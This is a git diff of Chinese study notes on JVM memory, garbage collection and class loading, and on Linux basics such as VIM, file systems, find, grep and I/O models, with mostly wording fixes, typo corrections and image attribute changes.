是垃圾收集的主要区域("GC 堆 "),现代的垃圾收集器基本都是采用分代收集算法,该算法的思想是针对不同的对象采取不同的垃圾回收算法,因此虚拟机把 Java 堆分成以下三块:
|
||||
是垃圾收集的主要区域("GC 堆"),现代的垃圾收集器基本都是采用分代收集算法,该算法的思想是针对不同的对象采取不同的垃圾回收算法,因此虚拟机把 Java 堆分成以下三块:
|
||||
|
||||
- 新生代(Young Generation)
|
||||
- 老年代(Old Generation)
|
||||
@ -72,14 +74,14 @@ java -Xss=512M HackTheJava
|
||||
- From Survivor
|
||||
- To Survivor
|
||||
|
||||
<div align="center"> <img src="../pics//ppt_img.gif"/> </div><br>
|
||||
<div align="center"> <img src="../pics//ppt_img.gif" width=""/> </div><br>
|
||||
|
||||
Java 堆不需要连续内存,并且可以通过动态增加其内存,增加失败会抛出 OutOfMemoryError 异常。
|
||||
Java 堆不需要连续内存,并且可以动态增加其内存,增加失败会抛出 OutOfMemoryError 异常。
|
||||
|
||||
可以通过 -Xms 和 -Xmx 两个虚拟机参数来指定一个程序的 Java 堆内存大小,第一个参数设置最小值,第二个参数设置最大值。
|
||||
可以通过 -Xms 和 -Xmx 两个虚拟机参数来指定一个程序的 Java 堆内存大小,第一个参数设置初始值,第二个参数设置最大值。
|
||||
|
||||
```java
|
||||
java -Xms=1M -XmX=2M HackTheJava
|
||||
java -Xms=1M -Xmx=2M HackTheJava
|
||||
```
|
||||
|
||||
## 方法区
|
||||
@ -100,7 +102,7 @@ Class 文件中的常量池(编译器生成的各种字面量和符号引用
|
||||
|
||||
## 直接内存
|
||||
|
||||
在 JDK 1.4 中新加入了 NIO 类,引入了一种基于通道(Channel)与缓冲区(Buffer)的 I/O 方式,它可以使用 Native 函数库直接分配堆外内存,然后通过一个存储在 Java 堆里的 DirectByteBuffer 对象作为这块内存的引用进行操作。这样能在一些场景中显著提高性能,因为避免了在 Java 堆和 Native 堆中来回复制数据。
|
||||
在 JDK 1.4 中新加入了 NIO 类,它可以使用 Native 函数库直接分配堆外内存,然后通过一个存储在 Java 堆里的 DirectByteBuffer 对象作为这块内存的引用进行操作。这样能在一些场景中显著提高性能,因为避免了在 Java 堆和 Native 堆中来回复制数据。
|
||||
|
||||
# 二、垃圾收集
|
||||
|
||||
@ -123,6 +125,8 @@ objB.instance = objA;
|
||||
|
||||
通过 GC Roots 作为起始点进行搜索,能够到达到的对象都是都是可用的,不可达的对象可被回收。
|
||||
|
||||
<div align="center"> <img src="../pics//0635cbe8.png" width=""/> </div><br>
|
||||
|
||||
GC Roots 一般包含以下内容:
|
||||
|
||||
1. 虚拟机栈中引用的对象
|
||||
@ -132,7 +136,7 @@ GC Roots 一般包含以下内容:
|
||||
|
||||
### 3. 引用类型
|
||||
|
||||
无论是通过引用计算算法判断对象的引用数量,还是通过可达性分析算法判断对象的引用链是否可达,判定对象是否存活都与“引用”有关。
|
||||
无论是通过引用计算算法判断对象的引用数量,还是通过可达性分析算法判断对象的引用链是否可达,判定对象是否存活都与引用有关。
|
||||
|
||||
Java 对引用的概念进行了扩充,引入四种强度不同的引用类型。
|
||||
|
||||
@ -150,7 +154,7 @@ Object obj = new Object();
|
||||
|
||||
用来描述一些还有用但是并非必需的对象。
|
||||
|
||||
在系统将要发生内存溢出异常之前,将会对这些对象列进回收范围之中进行第二次回收。如果这次回收还没有足够的内存,才会抛出溢出异常。
|
||||
在系统将要发生内存溢出异常之前,将会对这些对象列进回收范围之中进行第二次回收。
|
||||
|
||||
软引用主要用来实现类似缓存的功能,在内存足够的情况下直接通过软引用取值,无需从繁忙的真实来源获取数据,提升速度;当内存不足时,自动删除这部分缓存数据,从真正的来源获取这些数据。
|
||||
|
||||
@ -211,20 +215,18 @@ finalize() 类似 C++ 的析构函数,用来做关闭外部资源等工作。
|
||||
|
||||
### 1. 标记 - 清除
|
||||
|
||||
<div align="center"> <img src="../pics//a4248c4b-6c1d-4fb8-a557-86da92d3a294.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//a4248c4b-6c1d-4fb8-a557-86da92d3a294.jpg" width=""/> </div><br>
|
||||
|
||||
将需要回收的对象进行标记,然后清除。
|
||||
|
||||
不足:
|
||||
|
||||
1. 标记和清除过程效率都不高
|
||||
2. 会产生大量碎片,内存碎片过多可能导致无法给大对象分配内存
|
||||
|
||||
之后的算法都是基于该算法进行改进。
|
||||
1. 标记和清除过程效率都不高;
|
||||
2. 会产生大量碎片,内存碎片过多可能导致无法给大对象分配内存。
|
||||
|
||||
### 2. 复制
|
||||
|
||||
<div align="center"> <img src="../pics//e6b733ad-606d-4028-b3e8-83c3a73a3797.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//e6b733ad-606d-4028-b3e8-83c3a73a3797.jpg" width=""/> </div><br>
|
||||
|
||||
将内存划分为大小相等的两块,每次只使用其中一块,当这一块内存用完了就将还存活的对象复制到另一块上面,然后再把使用过的内存空间进行一次清理。
|
||||
|
||||
@ -234,7 +236,7 @@ finalize() 类似 C++ 的析构函数,用来做关闭外部资源等工作。
|
||||
|
||||
### 3. 标记 - 整理
|
||||
|
||||
<div align="center"> <img src="../pics//902b83ab-8054-4bd2-898f-9a4a0fe52830.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//902b83ab-8054-4bd2-898f-9a4a0fe52830.jpg" width=""/> </div><br>
|
||||
|
||||
让所有存活的对象都向一端移动,然后直接清理掉端边界以外的内存。
|
||||
|
||||
@ -249,13 +251,13 @@ finalize() 类似 C++ 的析构函数,用来做关闭外部资源等工作。
|
||||
|
||||
## 垃圾收集器
|
||||
|
||||
<div align="center"> <img src="../pics//c625baa0-dde6-449e-93df-c3a67f2f430f.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//c625baa0-dde6-449e-93df-c3a67f2f430f.jpg" width=""/> </div><br>
|
||||
|
||||
以上是 HotSpot 虚拟机中的 7 个垃圾收集器,连线表示垃圾收集器可以配合使用。
|
||||
|
||||
### 1. Serial 收集器
|
||||
|
||||
<div align="center"> <img src="../pics//22fda4ae-4dd5-489d-ab10-9ebfdad22ae0.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//22fda4ae-4dd5-489d-ab10-9ebfdad22ae0.jpg" width=""/> </div><br>
|
||||
|
||||
它是单线程的收集器,不仅意味着只会使用一个线程进行垃圾收集工作,更重要的是它在进行垃圾收集时,必须暂停所有其他工作线程,往往造成过长的等待时间。
|
||||
|
||||
@ -265,7 +267,7 @@ finalize() 类似 C++ 的析构函数,用来做关闭外部资源等工作。
|
||||
|
||||
### 2. ParNew 收集器
|
||||
|
||||
<div align="center"> <img src="../pics//81538cd5-1bcf-4e31-86e5-e198df1e013b.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//81538cd5-1bcf-4e31-86e5-e198df1e013b.jpg" width=""/> </div><br>
|
||||
|
||||
它是 Serial 收集器的多线程版本。
|
||||
|
||||
@ -287,7 +289,7 @@ finalize() 类似 C++ 的析构函数,用来做关闭外部资源等工作。
|
||||
|
||||
### 4. Serial Old 收集器
|
||||
|
||||
<div align="center"> <img src="../pics//08f32fd3-f736-4a67-81ca-295b2a7972f2.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//08f32fd3-f736-4a67-81ca-295b2a7972f2.jpg" width=""/> </div><br>
|
||||
|
||||
Serial Old 是 Serial 收集器的老年代版本,也是给 Client 模式下的虚拟机使用。如果用在 Server 模式下,它有两大用途:
|
||||
|
||||
@ -296,7 +298,7 @@ Serial Old 是 Serial 收集器的老年代版本,也是给 Client 模式下
|
||||
|
||||
### 5. Parallel Old 收集器
|
||||
|
||||
<div align="center"> <img src="../pics//278fe431-af88-4a95-a895-9c3b80117de3.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//278fe431-af88-4a95-a895-9c3b80117de3.jpg" width=""/> </div><br>
|
||||
|
||||
是 Parallel Scavenge 收集器的老年代版本。
|
||||
|
||||
@ -304,7 +306,7 @@ Serial Old 是 Serial 收集器的老年代版本,也是给 Client 模式下
|
||||
|
||||
### 6. CMS 收集器
|
||||
|
||||
<div align="center"> <img src="../pics//62e77997-6957-4b68-8d12-bfd609bb2c68.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//62e77997-6957-4b68-8d12-bfd609bb2c68.jpg" width=""/> </div><br>
|
||||
|
||||
CMS(Concurrent Mark Sweep),从 Mark Sweep 可以知道它是基于标记 - 清除算法实现的。
|
||||
|
||||
@ -329,7 +331,7 @@ CMS(Concurrent Mark Sweep),从 Mark Sweep 可以知道它是基于标记 -
|
||||
|
||||
### 7. G1 收集器
|
||||
|
||||
<div align="center"> <img src="../pics//f99ee771-c56f-47fb-9148-c0036695b5fe.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//f99ee771-c56f-47fb-9148-c0036695b5fe.jpg" width=""/> </div><br>
|
||||
|
||||
G1(Garbage-First)收集器是当今收集器技术发展最前沿的成果之一,它是一款面向服务端应用的垃圾收集器,HotSpot 开发团队赋予它的使命是(在比较长期的)未来可以替换掉 JDK 1.5 中发布的 CMS 收集器。
|
||||
|
||||
@ -390,7 +392,7 @@ JVM 为对象定义年龄计数器,经过 Minor GC 依然存活,并且能被
|
||||
|
||||
### 4. 动态对象年龄判定
|
||||
|
||||
JVM 并不是永远地要求对象的年龄必须达到 MaxTenuringThreshold 才能晋升老年代,如果在 Survivor 区中相同年龄所有对象大小的总和大于 Survivor 空间的一半,则年龄大于或等于该年龄的对象可以直接进入老年代,无序等待 MaxTenuringThreshold 中要求的年龄。
|
||||
JVM 并不是永远地要求对象的年龄必须达到 MaxTenuringThreshold 才能晋升老年代,如果在 Survivor 区中相同年龄所有对象大小的总和大于 Survivor 空间的一半,则年龄大于或等于该年龄的对象可以直接进入老年代,无需等待 MaxTenuringThreshold 中要求的年龄。
|
||||
|
||||
### 5. 空间分配担保
|
||||
|
||||
@ -414,7 +416,7 @@ JVM 并不是永远地要求对象的年龄必须达到 MaxTenuringThreshold 才
|
||||
|
||||
### 4. JDK 1.7 及以前的永久代空间不足
|
||||
|
||||
在 JDK 1.7 及以前,HotSpot 虚拟机中的方法区是用永久代实现的,永久代中存放的为一些 class 的信息、常量、静态变量等数据,当系统中要加载的类、反射的类和调用的方法较多时,永久代可能会被占满,在未配置为采用 CMS GC 的情况下也会执行 Full GC。如果经过 Full GC 仍然回收不了,那么 JVM 会抛出 java.lang.OutOfMemoryError,为避免以上原因引起的 Full GC,可采用的方法为增大永久代空间或转为使用 CMS GC。
|
||||
在 JDK 1.7 及以前,HotSpot 虚拟机中的方法区是用永久代实现的,永久代中存放的为一些 Class 的信息、常量、静态变量等数据,当系统中要加载的类、反射的类和调用的方法较多时,永久代可能会被占满,在未配置为采用 CMS GC 的情况下也会执行 Full GC。如果经过 Full GC 仍然回收不了,那么 JVM 会抛出 java.lang.OutOfMemoryError,为避免以上原因引起的 Full GC,可采用的方法为增大永久代空间或转为使用 CMS GC。
|
||||
|
||||
### 5. Concurrent Mode Failure
|
||||
|
||||
@ -426,7 +428,7 @@ JVM 并不是永远地要求对象的年龄必须达到 MaxTenuringThreshold 才
|
||||
|
||||
## 类的生命周期
|
||||
|
||||
<div align="center"> <img src="../pics//32b8374a-e822-4720-af0b-c0f485095ea2.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//32b8374a-e822-4720-af0b-c0f485095ea2.jpg" width=""/> </div><br>
|
||||
|
||||
包括以下 7 个阶段:
|
||||
|
||||
@ -444,7 +446,7 @@ JVM 并不是永远地要求对象的年龄必须达到 MaxTenuringThreshold 才
|
||||
|
||||
虚拟机规范中并没有强制约束何时进行加载,但是规范严格规定了有且只有下列五种情况必须对类进行初始化(加载、验证、准备都会随着发生):
|
||||
|
||||
1. 遇到 new、getstatic、putstatic、invokestatic 这四条字节码指令时,如果类没有进行过初始化,则必须先触发其初始化。最常见的生成这 4 条指令的场景是:使用 new 关键字实例化对象的时候;读取或设置一个类的静态字段(被 final 修饰、已在编译器把结果放入常量池的静态字段除外)的时候;以及调用一个类的静态方法的时候。
|
||||
1. 遇到 new、getstatic、putstatic、invokestatic 这四条字节码指令时,如果类没有进行过初始化,则必须先触发其初始化。最常见的生成这 4 条指令的场景是:使用 new 关键字实例化对象的时候;读取或设置一个类的静态字段(被 final 修饰、已在编译期把结果放入常量池的静态字段除外)的时候;以及调用一个类的静态方法的时候。
|
||||
|
||||
2. 使用 java.lang.reflect 包的方法对类进行反射调用的时候,如果类没有进行初始化,则需要先触发其初始化。
|
||||
|
||||
@ -503,19 +505,19 @@ System.out.println(ConstClass.HELLOWORLD);
|
||||
|
||||
主要有以下 4 个阶段:
|
||||
|
||||
**(一)文件格式验证**
|
||||
(一)文件格式验证
|
||||
|
||||
验证字节流是否符合 Class 文件格式的规范,并且能被当前版本的虚拟机处理。
|
||||
|
||||
**(二)元数据验证**
|
||||
(二)元数据验证
|
||||
|
||||
对字节码描述的信息进行语义分析,以保证其描述的信息符合 Java 语言规范的要求。
|
||||
|
||||
**(三)字节码验证**
|
||||
(三)字节码验证
|
||||
|
||||
通过数据流和控制流分析,确保程序语义是合法、符合逻辑的。
|
||||
|
||||
**(四)符号引用验证**
|
||||
(四)符号引用验证
|
||||
|
||||
发生在虚拟机将符号引用转换为直接引用的时候,对类自身以外(常量池中的各种符号引用)的信息进行匹配性校验。
|
||||
|
||||
@ -606,17 +608,17 @@ public static void main(String[] args) {
|
||||
|
||||
从 Java 开发人员的角度看,类加载器可以划分得更细致一些:
|
||||
|
||||
- 启动类加载器(Bootstrap ClassLoader) 此类加载器负责将存放在 <JAVA_HOME>\lib 目录中的,或者被 -Xbootclasspath 参数所指定的路径中的,并且是虚拟机识别的(仅按照文件名识别,如 rt.jar,名字不符合的类库即使放在 lib 目录中也不会被加载)类库加载到虚拟机内存中。 启动类加载器无法被 Java 程序直接引用,用户在编写自定义类加载器时,如果需要把加载请求委派给启动类加载器,直接使用 null 代替即可。
|
||||
- 启动类加载器(Bootstrap ClassLoader)此类加载器负责将存放在 <JAVA_HOME>\lib 目录中的,或者被 -Xbootclasspath 参数所指定的路径中的,并且是虚拟机识别的(仅按照文件名识别,如 rt.jar,名字不符合的类库即使放在 lib 目录中也不会被加载)类库加载到虚拟机内存中。 启动类加载器无法被 Java 程序直接引用,用户在编写自定义类加载器时,如果需要把加载请求委派给启动类加载器,直接使用 null 代替即可。
|
||||
|
||||
- 扩展类加载器(Extension ClassLoader) 这个类加载器是由 ExtClassLoader(sun.misc.Launcher$ExtClassLoader)实现的。它负责将 <JAVA_HOME>/lib/ext 或者被 java.ext.dir 系统变量所指定路径中的所有类库加载到内存中,开发者可以直接使用扩展类加载器。
|
||||
- 扩展类加载器(Extension ClassLoader)这个类加载器是由 ExtClassLoader(sun.misc.Launcher$ExtClassLoader)实现的。它负责将 <JAVA_HOME>/lib/ext 或者被 java.ext.dir 系统变量所指定路径中的所有类库加载到内存中,开发者可以直接使用扩展类加载器。
|
||||
|
||||
- 应用程序类加载器(Application ClassLoader) 这个类加载器是由 AppClassLoader(sun.misc.Launcher$AppClassLoader)实现的。由于这个类加载器是 ClassLoader 中的 getSystemClassLoader() 方法的返回值,因此一般称为系统类加载器。它负责加载用户类路径(ClassPath)上所指定的类库,开发者可以直接使用这个类加载器,如果应用程序中没有自定义过自己的类加载器,一般情况下这个就是程序中默认的类加载器。
|
||||
- 应用程序类加载器(Application ClassLoader)这个类加载器是由 AppClassLoader(sun.misc.Launcher$AppClassLoader)实现的。由于这个类加载器是 ClassLoader 中的 getSystemClassLoader() 方法的返回值,因此一般称为系统类加载器。它负责加载用户类路径(ClassPath)上所指定的类库,开发者可以直接使用这个类加载器,如果应用程序中没有自定义过自己的类加载器,一般情况下这个就是程序中默认的类加载器。
|
||||
|
||||
### 3. 双亲委派模型
|
||||
|
||||
应用程序都是由三种类加载器相互配合进行加载的,如果有必要,还可以加入自己定义的类加载器。下图展示的类加载器之间的层次关系,称为类加载器的双亲委派模型(Parents Delegation Model)。该模型要求除了顶层的启动类加载器外,其余的类加载器都应有自己的父类加载器,这里类加载器之间的父子关系一般通过组合(Composition)关系来实现,而不是通过继承(Inheritance)的关系实现。
|
||||
|
||||
<div align="center"> <img src="../pics//2cdc3ce2-fa82-4c22-baaa-000c07d10473.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//class_loader_hierarchy.png" width="600"/> </div><br>
|
||||
|
||||
**(一)工作过程**
|
||||
|
||||
@ -630,7 +632,7 @@ public static void main(String[] args) {
|
||||
|
||||
```java
|
||||
protected synchronized Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException{
|
||||
//check the class has been loaded or not
|
||||
// 先检查请求的类是否已经被加载过了
|
||||
Class c = findLoadedClass(name);
|
||||
if(c == null) {
|
||||
try{
|
||||
@ -640,9 +642,10 @@ protected synchronized Class<?> loadClass(String name, boolean resolve) throws C
|
||||
c = findBootstrapClassOrNull(name);
|
||||
}
|
||||
} catch(ClassNotFoundException e) {
|
||||
//if throws the exception , the father can not complete the load
|
||||
// 如果父类加载器抛出 ClassNotFoundException,说明父类加载器无法完成加载请求
|
||||
}
|
||||
if(c == null) {
|
||||
// 如果父类加载器无法完成加载请求,再调用自身的 findClass() 来进行加载
|
||||
c = findClass(name);
|
||||
}
|
||||
}
|
||||
@ -681,6 +684,11 @@ java -Xmx12m -Xms3m -Xmn1m -XX:PermSize=20m -XX:MaxPermSize=20m -XX:+UseSerialGC
|
||||
|
||||
# 参考资料
|
||||
|
||||
- 深入理解 Java 虚拟机
|
||||
- 周志明. 深入理解 Java 虚拟机 [M]. 机械工业出版社, 2011.
|
||||
- [Jvm memory](https://www.slideshare.net/benewu/jvm-memory)
|
||||
- [Memory Architecture Of JVM(Runtime Data Areas)](https://hackthejava.wordpress.com/2015/01/09/memory-architecture-by-jvmruntime-data-areas/)
|
||||
- [JVM Run-Time Data Areas](https://www.programcreek.com/2013/04/jvm-run-time-data-areas/)
|
||||
- [Android on x86: Java Native Interface and the Android Native Development Kit](http://www.drdobbs.com/architecture-and-design/android-on-x86-java-native-interface-and/240166271)
|
||||
- [深入理解 JVM(2)——GC 算法与内存分配策略](https://crowhawk.github.io/2017/08/10/jvm_2/)
|
||||
- [深入理解 JVM(3)——7 种垃圾收集器](https://crowhawk.github.io/2017/08/15/jvm_3/)
|
||||
- [JVM Internals](http://blog.jamesdbloom.com/JVMInternals.html)
|
||||
|
2588
notes/Leetcode 题解.md
@ -154,16 +154,16 @@ Linux 发行版是 Linux 内核及各种应用软件的集成版本。
|
||||
|
||||
## VIM 三个模式
|
||||
|
||||
<div align="center"> <img src="../pics//5942debd-fc00-477a-b390-7c5692cc8070.jpg" width="400"/> </div><br>
|
||||
- 一般指令模式(Command mode):进入 VIM 的默认模式,可以用于移动游标查看内容;
|
||||
- 编辑模式(Insert mode):按下 "i" 等按键之后进入,可以对文本进行编辑;
|
||||
- 指令列模式(Bottom-line mode):按下 ":" 按键之后进入,用于保存退出等操作。
|
||||
|
||||
- 一般指令模式:进入 VIM 的默认模式,可以用于移动游标查看内容;
|
||||
- 编辑模式:按下 "i" 等按键之后进入,可以对文本进行编辑;
|
||||
- 指令列模式:按下 ":" 按键之后进入,用于保存退出等操作。
|
||||
<div align="center"> <img src="../pics//5942debd-fc00-477a-b390-7c5692cc8070.jpg" width="400"/> </div><br>
|
||||
|
||||
在指令列模式下,有以下命令用于离开或者保存文件。
|
||||
|
||||
| 命令 | 作用 |
|
||||
| -- | -- |
|
||||
| :--: | -- |
|
||||
| :w | 写入磁盘|
|
||||
| :w! | 当文件为只读时,强制写入磁盘。到底能不能写入,与用户对该文件的权限有关 |
|
||||
| :q | 离开 |
|
||||
@ -202,7 +202,7 @@ GPT 第 1 个区块记录了 MBR,紧接着是 33 个区块记录分区信息
|
||||
|
||||
GPT 没有扩展分区概念,都是主分区,最多可以分 128 个分区。
|
||||
|
||||
<div align="center"> <img src="../pics//a5c25452-6fa5-49e7-9322-823077442775.jpg" width="400"/> </div><br>
|
||||
<div align="center"> <img src="../pics//GUID_Partition_Table_Scheme.svg.png" width="400"/> </div><br>
|
||||
|
||||
## 开机检测程序
|
||||
|
||||
@ -321,7 +321,7 @@ UEFI 相比于 BIOS 来说功能更为全面,也更为安全。
|
||||
- /usr (unix software resource):所有系统默认软件都会安装到这个目录;
|
||||
- /var (variable):存放系统或程序运行过程中的数据文件。
|
||||
|
||||
<div align="center"> <img src="../pics//linux-filesystem.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//linux-filesystem.png" width=""/> </div><br>
|
||||
|
||||
## 文件时间
|
||||
|
||||
@ -466,10 +466,11 @@ locate 使用 /var/lib/mlocate/ 这个数据库来进行搜索,它存储在内
|
||||
find 可以使用文件的属性和权限进行搜索。
|
||||
|
||||
```html
|
||||
# find filename [option]
|
||||
# find [basedir] [option]
|
||||
example: find . -name "shadow*"
|
||||
```
|
||||
|
||||
**(一)与时间有关的选项**
|
||||
(一)与时间有关的选项
|
||||
|
||||
```html
|
||||
-mtime n :列出在 n 天前的那一天修改过内容的文件
|
||||
@ -480,9 +481,9 @@ find 可以使用文件的属性和权限进行搜索。
|
||||
|
||||
+4、4 和 -4 的指示的时间范围如下:
|
||||
|
||||
<div align="center"> <img src="../pics//658fc5e7-79c0-4247-9445-d69bf194c539.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//658fc5e7-79c0-4247-9445-d69bf194c539.png" width=""/> </div><br>
|
||||
|
||||
**(二)与文件拥有者和所属群组有关的选项**
|
||||
(二)与文件拥有者和所属群组有关的选项
|
||||
|
||||
```html
|
||||
-uid n
|
||||
@ -493,7 +494,7 @@ find 可以使用文件的属性和权限进行搜索。
|
||||
-nogroup:搜索所属群组不存在于 /etc/group 的文件
|
||||
```
|
||||
|
||||
**(三)与文件权限和名称有关的选项**
|
||||
(三)与文件权限和名称有关的选项
|
||||
|
||||
```html
|
||||
-name filename
|
||||
@ -516,21 +517,19 @@ find 可以使用文件的属性和权限进行搜索。
|
||||
2. inode:一个文件占用一个 inode,记录文件的属性,同时记录此文件的内容所在的 block 号码;
|
||||
3. block:记录文件的内容,文件太大时,会占用多个 block。
|
||||
|
||||
<div align="center"> <img src="../pics//ff0c019c-6461-467d-a266-0455341fd4f4.png" width="800"/> </div><br>
|
||||
|
||||
当要读取一个文件的内容时,先在 inode 中去查找文件内容所在的所有 block,然后把所有 block 的内容读出来。
|
||||
|
||||
磁盘碎片是指一个文件内容所在的 block 过于分散。
|
||||
|
||||
Ext2 文件系统使用了上述的文件结构,并在此之上加入了 block 群组的概念,也就是将一个文件系统划分为多个 block 群组,方便管理。
|
||||
|
||||
<div align="center"> <img src="../pics//1974a836-aa6b-4fb8-bce1-6eb11969284a.jpg"/> </div><br>
|
||||
|
||||
## inode
|
||||
|
||||
Ext2 文件系统支持的 block 大小有 1k、2k 和 4k 三种,不同的 block 大小限制了单一文件的大小。而每个 inode 大小是固定为 128 bytes。
|
||||
|
||||
inode 中记录了文件内容所在的 block,但是每个 block 非常小,一个大文件随便都需要几十万的 block。而一个 inode 大小有限,无法直接引用这么多 block。因此引入了间接、双间接、三间接引用。间接引用是指,让 inode 记录的引用 block 块当成 inode 用来记录引用信息。
|
||||
|
||||
<div align="center"> <img src="../pics//89091427-7b2b-4923-aff6-44681319a8aa.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//1bfa3118-f3cd-4480-a950-cf6d646015db.png" width="600"/> </div><br>
|
||||
|
||||
inode 具体包含以下信息:
|
||||
|
||||
@ -561,7 +560,7 @@ inode 具体包含以下信息:
|
||||
|
||||
删除任意一个条目,文件还是存在,只要引用数量不为 0。
|
||||
|
||||
有以下限制:不能跨越 File System;不能对目录进行链接。
|
||||
有以下限制:不能跨越 File System、不能对目录进行链接。
|
||||
|
||||
```html
|
||||
# ln /etc/crontab .
|
||||
@ -636,7 +635,7 @@ $ bzip2 [-cdkzv#] filename
|
||||
|
||||
提供比 bzip2 更佳的压缩比。
|
||||
|
||||
可以看到,gzip、bzip2、xz 的压缩比不断优化。不过要注意,压缩比越高,压缩的时间也越长。
|
||||
可以看到,gzip、bzip2、xz 的压缩比不断优化。不过要注意的是,压缩比越高,压缩的时间也越长。
|
||||
|
||||
查看命令:xzcat、xzmore、xzless、xzgrep。
|
||||
|
||||
@ -932,7 +931,7 @@ $ grep -n 'the' regular_express.txt
|
||||
18:google is the best tools for search keyword
|
||||
```
|
||||
|
||||
因为 { 与 } 的符号在 shell 是有特殊意义的,因此必须要使用转义字符进行转义。
|
||||
因为 { 和 } 在 shell 是有特殊意义的,因此必须要使用转义字符进行转义。
|
||||
|
||||
```html
|
||||
$ grep -n 'go\{2,5\}g' regular_express.txt
|
||||
@ -1026,7 +1025,7 @@ daemon 2
|
||||
|
||||
示例三:查看特定的进程
|
||||
|
||||
```html
|
||||
```
|
||||
# ps aux | grep threadx
|
||||
```
|
||||
|
||||
@ -1060,6 +1059,9 @@ daemon 2
|
||||
|
||||
## 进程状态
|
||||
|
||||
<div align="center"> <img src="../pics//76a49594323247f21c9b3a69945445ee.png" width=""/> </div><br>
|
||||
|
||||
|
||||
| 状态 | 说明 |
|
||||
| :---: | --- |
|
||||
| R | running or runnable (on run queue) |
|
||||
@ -1068,8 +1070,6 @@ daemon 2
|
||||
| Z | defunct/zombie, terminated but not reaped by its parent |
|
||||
| T | stopped, either by a job control signal or because it is being traced|
|
||||
|
||||
<div align="center"> <img src="../pics//76a49594323247f21c9b3a69945445ee.png"/> </div><br>
|
||||
|
||||
## SIGCHILD
|
||||
|
||||
当一个子进程改变了它的状态时:停止运行,继续运行或者退出,有两件事会发生在父进程中:
|
||||
@ -1077,13 +1077,13 @@ daemon 2
|
||||
- 得到 SIGCHLD 信号;
|
||||
- 阻塞的 waitpid(2)(或者 wait)调用会返回。
|
||||
|
||||
<div align="center"> <img src="../pics//flow.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//flow.png" width=""/> </div><br>
|
||||
|
||||
## 孤儿进程和僵死进程
|
||||
|
||||
### 1. 孤儿进程
|
||||
|
||||
一个父进程退出,而它的一个或多个子进程还在运行,那么那些子进程将成为孤儿进程。孤儿进程将被 init 进程(进程号为 1)所收养,并由 init 进程对它们完成状态收集工作。
|
||||
一个父进程退出,而它的一个或多个子进程还在运行,那么这些子进程将成为孤儿进程。孤儿进程将被 init 进程(进程号为 1)所收养,并由 init 进程对它们完成状态收集工作。
|
||||
|
||||
由于孤儿进程会被 init 进程收养,所以孤儿进程不会对系统造成危害。
|
||||
|
||||
@ -1118,7 +1118,7 @@ I/O Multiplexing 又被称为 Event Driven I/O,它可以让单个进程具有
|
||||
|
||||
同步异步是获知 I/O 完成的方式,同步需要时刻关心 I/O 是否已经完成,异步无需主动关心,在 I/O 完成时它会收到通知。
|
||||
|
||||
<div align="center"> <img src="../pics//00eda100-dba1-4ec2-9140-5fe5f3855951.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//54cb3f21-485b-4159-8bf5-dcde1c4d4c36.png" width=""/> </div><br>
|
||||
|
||||
### 1. 同步-阻塞
|
||||
|
||||
@ -1126,31 +1126,31 @@ I/O Multiplexing 又被称为 Event Driven I/O,它可以让单个进程具有
|
||||
|
||||
应该注意到,在阻塞的过程中,其他程序还可以执行,因此阻塞不意味着整个操作系统都被阻塞。因为其他程序还可以执行,因此不消耗 CPU 时间,这种模型的执行效率会比较高。
|
||||
|
||||
<div align="center"> <img src="../pics//5e9b10f3-9504-4483-9667-d4770adebf9f.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//5e9b10f3-9504-4483-9667-d4770adebf9f.png" width=""/> </div><br>
|
||||
|
||||
### 2. 同步-非阻塞
|
||||
|
||||
非阻塞意味着用户程序在执行系统调用后还可以执行,内核并不是马上执行完 I/O,而是以一个错误码来告知用户程序 I/O 还未完成。为了获得 I/O 完成事件,用户程序必须调用多次系统调用去询问内核,甚至是忙等,也就是在一个循环里面一直询问并等待。
|
||||
非阻塞意味着用户程序在执行系统调用后还可以继续执行,内核并不是马上执行完 I/O,而是以一个错误码来告知用户程序 I/O 还未完成。为了获得 I/O 完成事件,用户程序必须调用多次系统调用去询问内核,甚至是忙等,也就是在一个循环里面一直询问并等待。
|
||||
|
||||
由于 CPU 要处理更多的用户程序的询问,因此这种模型的效率是比较低的。
|
||||
|
||||
<div align="center"> <img src="../pics//1582217a-ed46-4cac-811e-90d13a65163b.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//1582217a-ed46-4cac-811e-90d13a65163b.png" width=""/> </div><br>
|
||||
|
||||
### 3. 异步-阻塞
|
||||
|
||||
这是 I/O 复用使用的一种模式,通过使用 select,它可以监听多个 I/O 事件,当这些事件至少有一个发生时,用户程序会收到通知。
|
||||
|
||||
<div align="center"> <img src="../pics//dbc5c9f1-c13c-4d06-86ba-7cc949eb4c8f.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//dbc5c9f1-c13c-4d06-86ba-7cc949eb4c8f.jpg" width=""/> </div><br>
|
||||
|
||||
### 4. 异步-非阻塞
|
||||
|
||||
该模式下,I/O 操作会立即返回,之后可以处理其它操作,并且在 I/O 完成时会收到一个通知,此时会中断正在处理的操作,然后完成 I/O 事务。
|
||||
该模式下,I/O 操作会立即返回,之后可以处理其它操作,并且在 I/O 完成时会收到一个通知,此时会中断正在处理的操作,然后继续之前的操作。
|
||||
|
||||
<div align="center"> <img src="../pics//b4b29aa9-dd2c-467b-b75f-ca6541cb25b5.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//b4b29aa9-dd2c-467b-b75f-ca6541cb25b5.jpg" width=""/> </div><br>
|
||||
|
||||
## select poll epoll
|
||||
|
||||
